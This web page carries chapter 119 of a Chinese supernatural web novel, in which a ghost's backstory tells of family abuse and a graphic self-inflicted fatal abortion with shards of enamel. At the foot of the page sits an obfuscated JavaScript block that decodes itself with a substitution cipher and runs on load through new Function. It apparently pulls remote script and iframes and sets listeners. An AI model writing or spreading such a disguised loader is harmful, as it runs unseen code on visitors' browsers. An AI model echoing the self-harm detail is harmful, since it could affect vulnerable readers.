返回

东北出马笔记

首页
关灯
护眼
字体:
第119章 蒋艳的故事
最后,郑鹏答应我们他会想办法,这两天尽量借点钱,先解决了医药费,然后再找我们办法事。

临走时,他叹着气,说了一句话。

“人这一辈子,如果没有钱,死了都得住在最底层。”

我当时没明白他这句话的意思。

但我和马叔刚走出病房,就被护士拉住了。

郑鹏现在欠医院不少钱,他老婆又联系不上,而我们是唯一来看望他的人。

所以,我们离开医院的时候,就被护士拉住,强行留下了电话号码。

马叔鸡贼,留了个假号,不过我于心不忍,觉得郑鹏也挺可怜的,就把自己的电话给了护士,让她们有情况给我打电话。

回到家里,我和马叔大眼对小眼,都是无可奈何。

马叔拿起了那个纸房子,对我说:“实在不行就把这玩意扔了吧,或者送庙里去,爱咋咋地,我不管了。”

我劝住了他,说:“还是再等两天,说不定事情还有转机,他老婆也不能永远不管他,一时生气而已。再说,郑鹏的一魂一魄在这纸房子里,你给扔了,他咋办?”

马叔捏捏鼻子,指着大门外又骂了半天郑鹏,说自己前几天梦见一只乌鸦落在坟头上,果然他妈的没有好事。

事已至此,骂也没用了。

于是我们只能继续过自己的日子,顺便等郑鹏的消息。

这一等又是三天。

庄雨薇对那个蒋艳十分同情,经常会去看她。

我前面说了,鬼并不会说话,但有道行的鬼可以通过感应,来和人沟通。

那个蒋艳,应该是有道行的,毕竟是意外横死,尤其还是因生产死亡,怨气是很强的。

但她却从来不肯和我们任何人沟通,有时候我和马叔无聊,就去纸房子那里,想问问她当年到底发生了什么,她却一言不发,从来不理我们。

马叔说,她这傲娇的小脾气,快赶上那条龙了。

我说不对,她不是傲娇,她是羞愧,没脸开口。

一个黄花大闺女,才十九岁的年龄,就给男人怀孕,而且那男的还跑了,这种事她能张得开嘴才怪。

况且,她死的时候应该是九几年,那时候的人普遍还是比较保守,不像现在,有些女的挺着大肚子都敢去网上征婚,还要车要房要钱。

蒋艳不好意思跟我们说,倒是跟庄雨薇投脾气,把一切事情都告诉了庄雨薇。

庄雨薇知道了,那就等于我知道了。

事情经过如下。

八年前,郑鹏逃跑之后,蒋艳便成了全家的耻辱。

她本来一直都在辩解,说怀孕了也没什么,只要男人负责任,肯娶她,那就不丢人。

可是,她满心信任的男人跑了,连他妈工资行李都不要,就跑了。

回到家后,她跪在地上,被她爸拿着棍子狠狠打了一顿。

其实她知道,家里人这么对她,并不是她未婚先孕,而是没能从郑鹏那要到钱,拿她撒气。

因为生就女儿身,从小到大她都不受家人待见,初中毕业就要外出打工,赚来的钱基本都要给家里。

从小到大,她在家里本就是一个多余的人。

爸妈把所有的爱,都给了她的弟弟。

她把所有眼泪都流进了肚子里,盼着她爸能把她打流产,也算稍稍洗刷自己的羞愧和耻辱。

她被打的遍体鳞伤,可并没有流产。

她家里也没有给她拿钱,反而把她关了起来,也不给她吃的,说是要活活饿死她,反正她活着也没什么用,还给全家丢人。

好在十几岁的弟弟疼她,经常会偷着拿些吃的给她。

家里人发现了也没管,一家子打定了主意,要任其自生自灭。

无论是死是活,都是她的命。

那段时间,她受尽了折磨和屈辱,曾经拿拳头狠狠打自己的肚子,拿木棍砸自己的脑袋。

她想死,可是没死成。

她想流产,偏偏又流不掉。

那个该死的郑鹏,在她身体里种下的种子,就像恶魔一样生根发芽,挥之不去,赶之不走。

过了一段时间,因为过年了,家里人不得不把她放出来,又给她打扮了一下,因为有客人会来,总得见人。

可她的肚子已经凸起来了,她妈妈就用布条狠狠的缠起来,勒的她几乎无法呼吸。

她爸早就明确告诉她,不会带她去医院做流产。

因为,一要花钱,二嫌丢人。

唯一的办法,就是等她生下来之后,然后拿出去扔掉。

过年的时候,她总算过了几天正常人的生活,可客人走了之后,就有风言风语传出来。

说她挺着个大肚子,怀着个杂种,这辈子算是毁了。

她爸知道后,羞怒交加,于是抄起棍子又揍了她一顿。

她妈骂她:不要脸的小婊子,你怎么不去死!

这一次,她最后仅存的那一点点尊严,完全被抹杀了。

她一个人在屋子里,打碎了吃饭的碗,用搪瓷碎片硬生生割开了自己的肚子。

她想要把那个男人的种子,从自己体内拿掉。

如果成功了,她就还可以好好的做一个正常人,从此以后远走高飞,永远离开这个无情无义的家。

如果不行,那就……死了吧。

反正,活着也是屈辱。

就这样,蒋艳大出血而死。

她肚子里的孩子,自然也死了。

等她死后的第二天上午,家里人才发现她自杀了。

可是,即便化作了冤魂的她,也没有在亲人的脸上看到半滴泪水。

一副薄板棺材,一个土坑。

埋葬了她短暂的一生。

村人见到问起,她爸妈也只是冷冰冰的甩出两个字。

“死了。”

从此以后,她就带着两个孩子四处漂泊,因为坟头没有任何供品,也没有人送纸钱。

她活着一无所有,死了还是一无所有。

直到有一天,她找到了郑鹏……

蒋艳的故事,到这里就告一段落了。

我不由唏嘘,泪湿眼眶。

马叔知道后,什么也没说,去拿了几个大元宝,还有一捆烧纸,在纸房子前面烧了。

一边烧纸,他一边骂郑鹏。

骂一会郑鹏,他又骂这操蛋的人生。

我在一旁默默不语,也跟着他烧纸。

虽然我们和蒋艳素不相识,但人类的悲欢,总是会有共情的。

就在这时,医院打来了电话,告诉我一个令人震惊的消息。

郑鹏死了。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();